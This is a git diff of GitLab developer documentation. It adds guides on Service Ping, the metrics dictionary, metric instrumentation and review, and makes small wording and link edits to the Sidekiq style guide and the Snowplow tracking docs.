+ "merge_requests": 999,
+ ...
+ },
+ "manage": {
+ "events": 999,
+ ...
+ },
+ "monitor": {
+ "clusters": 999,
+ ...
+ },
+ "package": {
+ "projects_with_packages": 999
+ },
+ "plan": {
+ "issues": 999,
+ ...
+ },
+ "release": {
+ "deployments": 999,
+ ...
+ },
+ "secure": {
+ "user_container_scanning_jobs": 999,
+ ...
+ },
+ "verify": {
+ "ci_builds": 999,
+ ...
+ }
+ },
+ "topology": {
+ "duration_s": 0.013836685999194742,
+ "application_requests_per_hour": 4224,
+ "query_apdex_weekly_average": 0.996,
+ "failures": [],
+ "nodes": [
+ {
+ "node_memory_total_bytes": 33269903360,
+ "node_memory_utilization": 0.35,
+ "node_cpus": 16,
+ "node_cpu_utilization": 0.2,
+ "node_uname_info": {
+ "machine": "x86_64",
+ "sysname": "Linux",
+ "release": "4.19.76-linuxkit"
+ },
+ "node_services": [
+ {
+ "name": "web",
+ "process_count": 16,
+ "process_memory_pss": 233349888,
+ "process_memory_rss": 788220927,
+ "process_memory_uss": 195295487,
+ "server": "puma"
+ },
+ {
+ "name": "sidekiq",
+ "process_count": 1,
+ "process_memory_pss": 734080000,
+ "process_memory_rss": 750051328,
+ "process_memory_uss": 731533312
+ },
+ ...
+ ],
+ ...
+ },
+ ...
+ ]
+ }
+}
+```
+
+## Notable changes
+
+In GitLab 13.5, `pg_system_id` was added to send the [PostgreSQL system identifier](https://www.2ndquadrant.com/en/blog/support-for-postgresqls-system-identifier-in-barman/).
+
+## Exporting Service Ping SQL queries and definitions
+
+Two Rake tasks exist to export Service Ping definitions.
+
+- The Rake tasks export the raw SQL queries for `count`, `distinct_count`, `sum`.
+- The Rake tasks export the Redis counter class or the line of the Redis block for `redis_usage_data`.
+- The Rake tasks calculate the `alt_usage_data` metrics.
+
+In the home directory of your local GitLab installation run the following Rake tasks for the YAML and JSON versions respectively:
+
+```shell
+# for YAML export
+bin/rake gitlab:usage_data:dump_sql_in_yaml
+
+# for JSON export
+bin/rake gitlab:usage_data:dump_sql_in_json
+
+# You may pipe the output into a file
+bin/rake gitlab:usage_data:dump_sql_in_yaml > ~/Desktop/usage-metrics-2020-09-02.yaml
+```
+
+## Generating and troubleshooting Service Ping
+
+This activity is to be done via a detached screen session on a remote server.
+
+Before you begin these steps, make sure the key is added to the SSH agent locally
+with the `ssh-add` command.
+
+### Triggering
+
+1. Connect to bastion with agent forwarding: `$ ssh -A lb-bastion.gprd.gitlab.com`
+1. Create named screen: `$ screen -S <username>_usage_ping_<date>`
+1. Connect to console host: `$ ssh $USER-rails@console-01-sv-gprd.c.gitlab-production.internal`
+1. Run `SubmitUsagePingService.new.execute`
+1. Detach from screen: `ctrl + a, ctrl + d`
+1. Exit from bastion: `$ exit`
+
+### Verification (After approx 30 hours)
+
+1. Reconnect to bastion: `$ ssh -A lb-bastion.gprd.gitlab.com`
+1. Find your screen session: `$ screen -ls`
+1. Attach to your screen session: `$ screen -x 14226.mwawrzyniak_usage_ping_2021_01_22`
+1. Check the last payload in `raw_usage_data` table: `RawUsageData.last.payload`
+1. Check the when the payload was sent: `RawUsageData.last.sent_at`
+
+## Troubleshooting
+
+### Cannot disable Service Ping using the configuration file
+
+The method to disable Service Ping using the GitLab configuration file does not work in
+GitLab versions 9.3.0 to 13.12.3. To disable it, you need to use the Admin Area in
+the GitLab UI instead. For more information, see
+[this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/333269).
+
+GitLab functionality and application settings cannot override or circumvent
+restrictions at the network layer. If Service Ping is blocked by your firewall,
+you are not impacted by this bug.
+
+#### Check if you are affected
+
+You can check if you were affected by this bug by using the Admin area or by
+checking the configuration file of your GitLab instance:
+
+- Using the Admin area:
+
+ 1. On the top bar, go to the admin area (**{admin}**).
+ 1. On the left sidebar, select **Settings > Metrics and profiling**.
+ 1. Expand **Usage Statistics**.
+ 1. Are you able to check/uncheck the checkbox to disable Service Ping?
+
+ - If _yes_, your GitLab instance is not affected by this bug.
+ - If you can't check/uncheck the checkbox, you are affected by this bug.
+ Read below [how to fix this](#how-to-fix-the-cannot-disable-service-ping-bug).
+
+- Checking your GitLab instance configuration file:
+
+ To check whether you're impacted by this bug, check your instance configuration
+ settings. The configuration file in which Service Ping can be disabled will depend
+ on your installation and deployment method, but it will typically be one of the following:
+
+ - `/etc/gitlab/gitlab.rb` for Omnibus GitLab Linux Package and Docker.
+ - `charts.yaml` for GitLab Helm and cloud-native Kubernetes deployments.
+ - `gitlab.yml` for GitLab installations from source.
+
+ To check the relevant configuration file for strings that indicate whether
+ Service Ping is disabled, you can use `grep`:
+
+ ```shell
+ # Linux package
+ grep "usage_ping_enabled'\] = false" /etc/gitlab/gitlab.rb
+
+ # Kubernetes charts
+ grep "enableUsagePing: false" values.yaml
+
+ # From source
+ grep "usage_ping_enabled'\] = false" gitlab/config.yml
+ ```
+
+ If you see any output after running the relevant command, your GitLab instance
+ may be affected by the bug. Otherwise, your instance is not affected.
+
+#### How to fix the "Cannot disable Service Ping" bug
+
+To work around this bug, you have two options:
+
+- [Update](../../update/index.md) to GitLab 13.12.4 or newer to fix this bug.
+- If you can't update to GitLab 13.12.4 or newer, enable Service Ping in the
+ configuration file, then disable Service Ping in the UI. For example, if you're
+ using the Linux package:
+
+ 1. Edit `/etc/gitlab/gitlab.rb`:
+
+ ```ruby
+ gitlab_rails['usage_ping_enabled'] = true
+ ```
+
+ 1. Reconfigure GitLab:
+
+ ```shell
+ sudo gitlab-ctl reconfigure
+ ```
+
+ 1. In GitLab, on the top bar, go to the admin area (**{admin}**).
+ 1. On the left sidebar, select **Settings > Metrics and profiling**.
+ 1. Expand **Usage Statistics**.
+ 1. Clear the **Enable service ping** checkbox.
+ 1. Select **Save Changes**.
diff --git a/doc/development/service_ping/metrics_dictionary.md b/doc/development/service_ping/metrics_dictionary.md
new file mode 100644
index 00000000000..b64b2234fa9
--- /dev/null
+++ b/doc/development/service_ping/metrics_dictionary.md
@@ -0,0 +1,237 @@
+---
+stage: Growth
+group: Product Intelligence
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Metrics Dictionary Guide
+
+This guide describes Metrics Dictionary and how it's implemented
+
+## Metrics Definition and validation
+
+We are using [JSON Schema](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/schema.json) to validate the metrics definition.
+
+This process is meant to ensure consistent and valid metrics defined for Service Ping. All metrics *must*:
+
+- Comply with the defined [JSON schema](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/schema.json).
+- Have a unique `key_path` .
+- Have an owner.
+
+All metrics are stored in YAML files:
+
+- [`config/metrics`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/config/metrics)
+
+Each metric is defined in a separate YAML file consisting of a number of fields:
+
+| Field | Required | Additional information |
+|---------------------|----------|----------------------------------------------------------------|
+| `key_path` | yes | JSON key path for the metric, location in Service Ping payload. |
+| `name` | no | Metric name suggestion. Can replace the last part of `key_path`. |
+| `description` | yes | |
+| `product_section` | yes | The [section](https://gitlab.com/gitlab-com/www-gitlab-com/-/blob/master/data/sections.yml). |
+| `product_stage` | no | The [stage](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/stages.yml) for the metric. |
+| `product_group` | yes | The [group](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/stages.yml) that owns the metric. |
+| `product_category` | no | The [product category](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/categories.yml) for the metric. |
+| `value_type` | yes | `string`; one of [`string`, `number`, `boolean`, `object`](https://json-schema.org/understanding-json-schema/reference/type.html). |
+| `status` | yes | `string`; [status](#metric-statuses) of the metric, may be set to `data_available`, `implemented`, `not_used`, `deprecated`, `removed`, `broken`. |
+| `time_frame` | yes | `string`; may be set to a value like `7d`, `28d`, `all`, `none`. |
+| `data_source` | yes | `string`; may be set to a value like `database`, `redis`, `redis_hll`, `prometheus`, `system`. |
+| `data_category` | yes | `string`; [categories](#data-category) of the metric, may be set to `Operational`, `Optional`, `Subscription`, `Standard`. |
+| `instrumentation_class` | no | `string`; [the class that implements the metric](metrics_instrumentation.md). |
+| `distribution` | yes | `array`; may be set to one of `ce, ee` or `ee`. The [distribution](https://about.gitlab.com/handbook/marketing/strategic-marketing/tiers/#definitions) where the tracked feature is available. |
+| `tier` | yes | `array`; may be set to one of `free, premium, ultimate`, `premium, ultimate` or `ultimate`. The [tier]( https://about.gitlab.com/handbook/marketing/strategic-marketing/tiers/) where the tracked feature is available. |
+| `milestone` | no | The milestone when the metric is introduced. |
+| `milestone_removed` | no | The milestone when the metric is removed. |
+| `introduced_by_url` | no | The URL to the Merge Request that introduced the metric. |
+| `repair_issue_url` | no | The URL of the issue that was created to repair a metric with a `broken` status. |
+| `options` | no | `object`: options information needed to calculate the metric value. |
+| `skip_validation` | no | This should **not** be set. [Used for imported metrics until we review, update and make them valid](https://gitlab.com/groups/gitlab-org/-/epics/5425). |
+
+### Metric statuses
+
+Metric definitions can have one of the following statuses:
+
+- `data_available`: Metric data is available and used in a Sisense dashboard.
+- `implemented`: Metric is implemented but data is not yet available. This is a temporary
+ status for newly added metrics awaiting inclusion in a new release.
+- `broken`: Metric reports broken data (for example, -1 fallback), or does not report data at all. A metric marked as `broken` must also have the `repair_issue_url` attribute.
+- `not_used`: Metric is not used in any dashboard.
+- `deprecated`: Metric is deprecated and possibly planned to be removed.
+- `removed`: Metric was removed, but it may appear in Service Ping payloads sent from instances running on older versions of GitLab.
+
+### Metric value_type
+
+Metric definitions can have one of the following values for `value_type`:
+
+- `boolean`
+- `number`
+- `string`
+- `object`: A metric with `value_type: object` must have `value_json_schema` with a link to the JSON schema for the object.
+In general, we avoid complex objects and prefer one of the `boolean`, `number`, or `string` value types.
+An example of a metric that uses `value_type: object` is `topology` (`/config/metrics/settings/20210323120839_topology.yml`),
+which has a related schema in `/config/metrics/objects_schemas/topology_schema.json`.
+
+### Metric time_frame
+
+- `7d`: The metric data applies to the most recent 7-day interval. For example, the following metric counts the number of users that create epics over a 7-day interval: `ee/config/metrics/counts_7d/20210305145820_g_product_planning_epic_created_weekly.yml`.
+- `28d`: The metric data applies to the most recent 28-day interval. For example, the following metric counts the number of unique users that create issues over a 28-day interval: `config/metrics/counts_28d/20210216181139_issues.yml`.
+- `all`: The metric data applies for the whole time the metric has been active (all-time interval). For example, the following metric counts all users that create issues: `/config/metrics/counts_all/20210216181115_issues.yml`.
+- `none`: The metric collects a type of data that's not tracked over time, such as settings and configuration information. Therefore, a time interval is not applicable. For example, `uuid` has no time interval applicable: `config/metrics/license/20210201124933_uuid.yml`.
+
+### Metric name
+
+To improve metric discoverability by a wider audience, each metric with
+instrumentation added at an appointed `key_path` receives a `name` attribute
+filled with the name suggestion, corresponding to the metric `data_source` and instrumentation.
+Metric name suggestions can contain two types of elements:
+
+1. **User input prompts**: Enclosed by `<>`, these pieces should be replaced or
+ removed when you create a metrics YAML file.
+1. **Fixed suggestion**: Plaintext parts generated according to well-defined algorithms.
+ They are based on underlying instrumentation, and should not be changed.
+
+For a metric name to be valid, it must not include any prompt, and no fixed suggestions
+should be changed.
+
+### Data category
+
+We use the following categories to classify a metric:
+
+- `Operational`: Required data for operational purposes.
+- `Optional`: Data that is optional to collect. This can be [enabled or disabled](../service_ping/index.md#disable-service-ping) in the Admin Area.
+- `Subscription`: Data related to licensing.
+- `Standard`: Standard set of identifiers that are included when collecting data.
+
+### Metric name suggestion examples
+
+#### Metric with `data_source: database`
+
+For a metric instrumented with SQL:
+
+```sql
+SELECT COUNT(DISTINCT user_id) FROM clusters WHERE clusters.management_project_id IS NOT NULL
+```
+
+- **Suggested name**: `count_distinct_user_id_from_<adjective describing: '(clusters.management_project_id IS NOT NULL)'>_clusters`
+- **Prompt**: `<adjective describing: '(clusters.management_project_id IS NOT NULL)'>`
+ should be replaced with an adjective that best represents filter conditions, such as `project_management`
+- **Final metric name**: For example, `count_distinct_user_id_from_project_management_clusters`
+
+For metric instrumented with SQL:
+
+```sql
+SELECT COUNT(DISTINCT clusters.user_id)
+FROM clusters_applications_helm
+INNER JOIN clusters ON clusters.id = clusters_applications_helm.cluster_id
+WHERE clusters_applications_helm.status IN (3, 5)
+```
+
+- **Suggested name**: `count_distinct_user_id_from_<adjective describing: '(clusters_applications_helm.status IN (3, 5))'>_clusters_<with>_<adjective describing: '(clusters_applications_helm.status IN (3, 5))'>_clusters_applications_helm`
+- **Prompt**: `<adjective describing: '(clusters_applications_helm.status IN (3, 5))'>`
+ should be replaced with an adjective that best represents filter conditions
+- **Final metric name**: `count_distinct_user_id_from_clusters_with_available_clusters_applications_helm`
+
+In the previous example, the prompt is irrelevant, and user can remove it. The second
+occurrence corresponds with the `available` scope defined in `Clusters::Concerns::ApplicationStatus`.
+It can be used as the right adjective to replace prompt.
+
+The `<with>` represents a suggested conjunction for the suggested name of the joined relation.
+The person documenting the metric can use it by either:
+
+- Removing the surrounding `<>`.
+- Using a different conjunction, such as `having` or `including`.
+
+#### Metric with `data_source: redis` or `redis_hll`
+
+For metrics instrumented with a Redis-based counter, the suggested name includes
+only the single prompt to be replaced by the person working with metrics YAML.
+
+- **Prompt**: `<please fill metric name, suggested format is: {subject}_{verb}{ing|ed}_{object} eg: users_creating_epics or merge_requests_viewed_in_single_file_mode>`
+- **Final metric name**: We suggest the metric name should follow the format of
+ `{subject}_{verb}{ing|ed}_{object}`, such as `user_creating_epics`, `users_triggering_security_scans`,
+ or `merge_requests_viewed_in_single_file_mode`
+
+#### Metric with `data_source: prometheus` or `system`
+
+For metrics instrumented with Prometheus or coming from the operating system,
+the suggested name includes only the single prompt by person working with metrics YAML.
+
+- **Prompt**: `<please fill metric name>`
+- **Final metric name**: Due to the variety of cases that can apply to this kind of metric,
+ no naming convention exists. Each person instrumenting a metric should use their
+ best judgment to come up with a descriptive name.
+
+### Example YAML metric definition
+
+The linked [`uuid`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/uuid.yml)
+YAML file includes an example metric definition, where the `uuid` metric is the GitLab
+instance unique identifier.
+
+```yaml
+key_path: uuid
+description: GitLab instance unique identifier
+product_category: collection
+product_section: growth
+product_stage: growth
+product_group: group::product intelligence
+value_type: string
+status: data_available
+milestone: 9.1
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1521
+time_frame: none
+data_source: database
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+```
+
+## Create a new metric definition
+
+The GitLab codebase provides a dedicated [generator](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/generators/gitlab/usage_metric_definition_generator.rb) to create new metric definitions.
+
+For uniqueness, the generated file includes a timestamp prefix, in ISO 8601 format.
+
+The generator takes the key path argument and 2 options and creates the metric YAML definition in corresponding location:
+
+- `--ee`, `--no-ee` Indicates if metric is for EE.
+- `--dir=DIR` indicates the metric directory. It must be one of: `counts_7d`, `7d`, `counts_28d`, `28d`, `counts_all`, `all`, `settings`, `license`.
+
+```shell
+bundle exec rails generate gitlab:usage_metric_definition counts.issues --dir=7d
+create config/metrics/counts_7d/issues.yml
+```
+
+NOTE:
+To create a metric definition used in EE, add the `--ee` flag.
+
+```shell
+bundle exec rails generate gitlab:usage_metric_definition counts.issues --ee --dir=7d
+create ee/config/metrics/counts_7d/issues.yml
+```
+
+## Metrics added dynamic to Service Ping payload
+
+The [Redis HLL metrics](index.md#known-events-are-added-automatically-in-service-data-payload) are added automatically to Service Ping payload.
+
+A YAML metric definition is required for each metric. A dedicated generator is provided to create metric definitions for Redis HLL events.
+
+The generator takes `category` and `event` arguments, as the root key will be `redis_hll_counters`, and creates two metric definitions for weekly and monthly timeframes:
+
+```shell
+bundle exec rails generate gitlab:usage_metric_definition:redis_hll issues i_closed
+create config/metrics/counts_7d/i_closed_weekly.yml
+create config/metrics/counts_28d/i_closed_monthly.yml
+```
+
+To create a metric definition used in EE, add the `--ee` flag.
+
+```shell
+bundle exec rails generate gitlab:usage_metric_definition:redis_hll issues users_closing_issues --ee
+create config/metrics/counts_7d/i_closed_weekly.yml
+create config/metrics/counts_28d/i_closed_monthly.yml
+```
diff --git a/doc/development/service_ping/metrics_instrumentation.md b/doc/development/service_ping/metrics_instrumentation.md
new file mode 100644
index 00000000000..61a1ff828be
--- /dev/null
+++ b/doc/development/service_ping/metrics_instrumentation.md
@@ -0,0 +1,102 @@
+---
+stage: Growth
+group: Product Intelligence
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Metrics instrumentation guide
+
+This guide describes how to develop Service Ping metrics using metrics instrumentation.
+
+## Nomenclature
+
+- **Instrumentation class**:
+ - Inherits one of the metric classes: `DatabaseMetric`, `RedisHLLMetric` or `GenericMetric`.
+ - Implements the logic that calculates the value for a Service Ping metric.
+
+- **Metric definition**
+ The Service Data metric YAML definition.
+
+- **Hardening**:
+ Hardening a method is the process that ensures the method fails safe, returning a fallback value like -1.
+
+## How it works
+
+A metric definition has the [`instrumentation_class`](metrics_dictionary.md) field, which can be set to a class.
+
+The defined instrumentation class should have one of the existing metric classes: `DatabaseMetric`, `RedisHLLMetric`, or `GenericMetric`.
+
+Using the instrumentation classes ensures that metrics can fail safe individually, without breaking the entire
+ process of Service Ping generation.
+
+We have built a domain-specific language (DSL) to define the metrics instrumentation.
+
+## Database metrics
+
+[Example of a merge request that adds a database metric](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60022).
+
+```ruby
+module Gitlab
+ module Usage
+ module Metrics
+ module Instrumentations
+ class CountBoardsMetric < DatabaseMetric
+ operation :count
+
+ relation { Board }
+ end
+ end
+ end
+ end
+end
+```
+
+## Redis HyperLogLog metrics
+
+[Example of a merge request that adds a `RedisHLL` metric](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61685).
+
+Count unique values for `i_quickactions_approve` event.
+
+```yaml
+time_frame: 28d
+data_source: redis_hll
+instrumentation_class: 'Gitlab::Usage::Metrics::Instrumentations::RedisHLLMetric'
+options:
+ events:
+ - i_quickactions_approve
+```
+
+## Generic metrics
+
+[Example of a merge request that adds a generic metric](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60256).
+
+```ruby
+module Gitlab
+ module Usage
+ module Metrics
+ module Instrumentations
+ class UuidMetric < GenericMetric
+ value do
+ Gitlab::CurrentSettings.uuid
+ end
+ end
+ end
+ end
+ end
+end
+```
+
+## Creating a new metric instrumentation class
+
+To create a stub instrumentation for a Service Ping metric, you can use a dedicated [generator](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/generators/gitlab/usage_metric_generator.rb):
+
+The generator takes the class name as an argument and the following options:
+
+- `--type=TYPE` Required. Indicates the metric type. It must be one of: `database`, `generic`, `redis_hll`.
+- `--ee` Indicates if the metric is for EE.
+
+```shell
+rails generate gitlab:usage_metric CountIssues --type database
+ create lib/gitlab/usage/metrics/instrumentations/count_issues_metric.rb
+ create spec/lib/gitlab/usage/metrics/instrumentations/count_issues_metric_spec.rb
+```
diff --git a/doc/development/service_ping/review_guidelines.md b/doc/development/service_ping/review_guidelines.md
new file mode 100644
index 00000000000..a4fb929a8a0
--- /dev/null
+++ b/doc/development/service_ping/review_guidelines.md
@@ -0,0 +1,75 @@
+---
+stage: Growth
+group: Product Intelligence
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Service Ping review guidelines
+
+This page includes introductory material for a
+[Product Intelligence](https://about.gitlab.com/handbook/engineering/development/growth/product-intelligence/)
+review, and is specific to Service Ping related reviews. For broader advice and
+general best practices for code reviews, refer to our [code review guide](../code_review.md).
+
+## Resources for reviewers
+
+- [Service Ping Guide](index.md)
+- [Metrics Dictionary](metrics_dictionary.md)
+
+## Review process
+
+We recommend a Product Intelligence review when a merge request (MR) touches
+any of the following Service Ping files:
+
+- `usage_data*` files.
+- The Metrics Dictionary, including files in:
+ - [`config/metrics`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/config/metrics).
+ - [`ee/config/metrics`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/ee/config/metrics).
+ - [`dictionary.md`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/usage_ping/dictionary.md).
+ - [`schema.json`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/schema.json).
+- Product Intelligence tooling. For example,
+ [`Gitlab::UsageMetricDefinitionGenerator`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/generators/gitlab/usage_metric_definition_generator.rb)
+
+### Roles and process
+
+#### The merge request **author** should
+
+- Decide whether a Product Intelligence review is needed.
+- If a Product Intelligence review is needed, add the labels
+ `~product intelligence` and `~product intelligence::review pending`.
+- Assign an
+ [engineer](https://gitlab.com/groups/gitlab-org/growth/product-intelligence/engineers/-/group_members?with_inherited_permissions=exclude) from the Product Intelligence team for a review.
+- Set the correct attributes in the metric's YAML definition:
+ - `product_section`, `product_stage`, `product_group`, `product_category`
+ - Provide a clear description of the metric.
+- Update the
+ [Metrics Dictionary](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/usage_ping/dictionary.md) if needed.
+- Add a changelog [according to guidelines](../changelog.md).
+
+#### The Product Intelligence **reviewer** should
+
+- Perform a first-pass review on the merge request and suggest improvements to the author.
+- Check the [metrics location](index.md#1-naming-and-placing-the-metrics) in
+ the Service Ping JSON payload.
+- Add the `~database` label and ask for a [database review](../database_review.md) for
+ metrics that are based on Database.
+- For tracking using Redis HLL (HyperLogLog):
+ - Check the Redis slot.
+ - Check if a [feature flag is needed](index.md#recommendations).
+- For a metric's YAML definition:
+ - Check the metric's `description`.
+ - Check the metric's `key_path`.
+ - Check the `product_section`, `product_stage`, `product_group`, and `product_category` fields.
+ Read the [stages file](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/stages.yml).
+ - Check the file location. Consider the time frame, and if the file should be under `ee`.
+ - Check the tiers.
+- Approve the MR, and relabel the MR with `~"product intelligence::approved"`.
+
+## Review workload distribution
+
+[Danger bot](../dangerbot.md) adds the list of changed Product Intelligence files
+and pings the
+[`@gitlab-org/growth/product-intelligence/engineers`](https://gitlab.com/groups/gitlab-org/growth/product-intelligence/engineers/-/group_members?with_inherited_permissions=exclude) group for merge requests
+that are not drafts.
+
+Any of the Product Intelligence engineers can be assigned for the Product Intelligence review.
diff --git a/doc/development/shell_scripting_guide/index.md b/doc/development/shell_scripting_guide/index.md
index 6071ae3a09d..d3b446d45da 100644
--- a/doc/development/shell_scripting_guide/index.md
+++ b/doc/development/shell_scripting_guide/index.md
@@ -127,4 +127,4 @@ for code review.
---
-[Return to Development documentation](../README.md).
+[Return to Development documentation](../index.md).
diff --git a/doc/development/sidekiq_style_guide.md b/doc/development/sidekiq_style_guide.md
index 7bc3ecf002f..a77c9908ef4 100644
--- a/doc/development/sidekiq_style_guide.md
+++ b/doc/development/sidekiq_style_guide.md
@@ -392,8 +392,12 @@ end
If a large number of background jobs get scheduled at once, queueing of jobs may
occur while jobs wait for a worker node to be become available. This is normal
and gives the system resilience by allowing it to gracefully handle spikes in
-traffic. Some jobs, however, are more sensitive to latency than others. Examples
-of these jobs include:
+traffic. Some jobs, however, are more sensitive to latency than others.
+
+In general, latency-sensitive jobs perform operations that a user could
+reasonably expect to happen synchronously, rather than asynchronously in a
+background worker. A common example is a write following an action. Examples of
+these jobs include:
1. A job which updates a merge request following a push to a branch.
1. A job which invalidates a cache of known branches for a project after a push
@@ -474,20 +478,28 @@ of reading a stale record is non-zero due to replicas potentially lagging behind
When the number of jobs that rely on the database increases, ensuring immediate data consistency
can put unsustainable load on the primary database server. We therefore added the ability to use
-[database load-balancing in Sidekiq workers](../administration/database_load_balancing.md#enable-the-load-balancer-for-sidekiq).
+[database load balancing for Sidekiq workers](../administration/database_load_balancing.md#load-balancing-for-sidekiq).
By configuring a worker's `data_consistency` field, we can then allow the scheduler to target read replicas
under several strategies outlined below.
## Trading immediacy for reduced primary load
-Not requiring immediate data consistency allows developers to decide to either:
+We require Sidekiq workers to make an explicit decision around whether they need to use the
+primary database node for all reads and writes, or whether reads can be served from replicas. This is
+enforced by a RuboCop rule, which ensures that the `data_consistency` field is set.
+
+When setting this field, consider the following trade-off:
- Ensure immediately consistent reads, but increase load on the primary database.
- Prefer read replicas to add relief to the primary, but increase the likelihood of stale reads that have to be retried.
-By default, any worker has a data consistency requirement of `:always`, so, as before, all
-database operations target the primary. To allow for reads to be served from replicas instead, we
-added two additional consistency modes: `:sticky` and `:delayed`.
+To maintain the same behavior compared to before this field was introduced, set it to `:always`, so
+database operations will only target the primary. Reasons for having to do so include workers
+that mostly or exclusively perform writes, or workers that read their own writes and who might run
+into data consistency issues should a stale record be read back from a replica. **Try to avoid
+these scenarios, since `:always` should be considered the exception, not the rule.**
+
+To allow for reads to be served from replicas, we added two additional consistency modes: `:sticky` and `:delayed`.
When you declare either `:sticky` or `:delayed` consistency, workers become eligible for database
load-balancing. In both cases, jobs are enqueued with a short delay.
@@ -504,7 +516,7 @@ they prefer read replicas and will wait for replicas to catch up:
| **Data Consistency** | **Description** |
|--------------|-----------------------------|
-| `:always` | The job is required to use the primary database (default). It should be used for workers that primarily perform writes or that have very strict requirements around reading their writes without suffering any form of delay. |
+| `:always` | The job is required to use the primary database (default). It should be used for workers that primarily perform writes or that have strict requirements around data consistency when reading their own writes. |
| `:sticky` | The job prefers replicas, but switches to the primary for writes or when encountering replication lag. It should be used for jobs that require to be executed as fast as possible but can sustain a small initial queuing delay. |
| `:delayed` | The job prefers replicas, but switches to the primary for writes. When encountering replication lag before the job starts, the job is retried once. If the replica is still not up to date on the next retry, it switches to the primary. It should be used for jobs where delaying execution further typically does not matter, such as cache expiration or web hooks execution. |
@@ -539,7 +551,7 @@ The `feature_flag` property does not allow the use of
This means that the feature flag cannot be toggled only for particular
projects, groups, or users, but instead, you can safely use [percentage of time rollout](../development/feature_flags/index.md).
Note that since we check the feature flag on both Sidekiq client and server, rolling out a 10% of the time,
-will likely results in 1% (0.1 [from client]*0.1 [from server]) of effective jobs using replicas.
+will likely results in 1% (`0.1` `[from client]*0.1` `[from server]`) of effective jobs using replicas.
Example:
@@ -968,8 +980,8 @@ Sidekiq jobs, please consider removing the worker in a major release only.
For the same reasons that removing workers is dangerous, care should be taken
when renaming queues.
-When renaming queues, use the `sidekiq_queue_migrate` helper migration method,
-as shown in this example:
+When renaming queues, use the `sidekiq_queue_migrate` helper migration method
+in a **post-deployment migration**:
```ruby
class MigrateTheRenamedSidekiqQueue < ActiveRecord::Migration[5.0]
@@ -985,3 +997,7 @@ class MigrateTheRenamedSidekiqQueue < ActiveRecord::Migration[5.0]
end
```
+
+You must rename the queue in a post-deployment migration not in a normal
+migration. Otherwise, it runs too early, before all the workers that
+schedule these jobs have stopped running. See also [other examples](post_deployment_migrations.md#use-cases).
diff --git a/doc/development/snowplow/index.md b/doc/development/snowplow/index.md
index 0bf4b9356e7..552249344c7 100644
--- a/doc/development/snowplow/index.md
+++ b/doc/development/snowplow/index.md
@@ -11,14 +11,14 @@ This guide provides an overview of how Snowplow works, and implementation detail
For more information about Product Intelligence, see:
- [Product Intelligence Guide](https://about.gitlab.com/handbook/product/product-intelligence-guide/)
-- [Usage Ping Guide](../usage_ping/index.md)
+- [Service Ping Guide](../service_ping/index.md)
More useful links:
- [Product Intelligence Direction](https://about.gitlab.com/direction/product-intelligence/)
-- [Data Analysis Process](https://about.gitlab.com/handbook/business-ops/data-team/#data-analysis-process/)
-- [Data for Product Managers](https://about.gitlab.com/handbook/business-ops/data-team/programs/data-for-product-managers/)
-- [Data Infrastructure](https://about.gitlab.com/handbook/business-ops/data-team/platform/infrastructure/)
+- [Data Analysis Process](https://about.gitlab.com/handbook/business-technology/data-team/#data-analysis-process/)
+- [Data for Product Managers](https://about.gitlab.com/handbook/business-technology/data-team/programs/data-for-product-managers/)
+- [Data Infrastructure](https://about.gitlab.com/handbook/business-technology/data-team/platform/infrastructure/)
## What is Snowplow
@@ -58,7 +58,7 @@ To enable Snowplow tracking on a self-managed instance:
1. Expand **Snowplow**.
-1. Select **Enable snowplow tracking** and enter your Snowplow configuration information. For example:
+1. Select **Enable Snowplow tracking** and enter your Snowplow configuration information. For example:
| Name | Value |
|--------------------|-------------------------------|
@@ -158,7 +158,7 @@ Snowplow JS adds many [web-specific parameters](https://docs.snowplowanalytics.c
## Implementing Snowplow JS (Frontend) tracking
-GitLab provides `Tracking`, an interface that wraps the [Snowplow JavaScript Tracker](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/javascript-trackers) for tracking custom events. The simplest way to use it is to add `data-` attributes to clickable elements and dropdowns. There is also a Vue mixin (exposing a `track` method), and the static method `Tracking.event`. Each of these requires at minimum a `category` and an `action`. You can provide additional [Structured event taxonomy](#structured-event-taxonomy) properties along with an `extra` object that accepts key-value pairs.
+GitLab provides `Tracking`, an interface that wraps the [Snowplow JavaScript Tracker](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/javascript-trackers/) for tracking custom events. The simplest way to use it is to add `data-` attributes to clickable elements and dropdowns. There is also a Vue mixin (exposing a `track` method), and the static method `Tracking.event`. Each of these requires at minimum a `category` and an `action`. You can provide additional [Structured event taxonomy](#structured-event-taxonomy) properties along with an `extra` object that accepts key-value pairs.
| field | type | default value | description |
|:-----------|:-------|:---------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
@@ -442,7 +442,7 @@ describe('MyFormTracking', () => {
## Implementing Snowplow Ruby (Backend) tracking
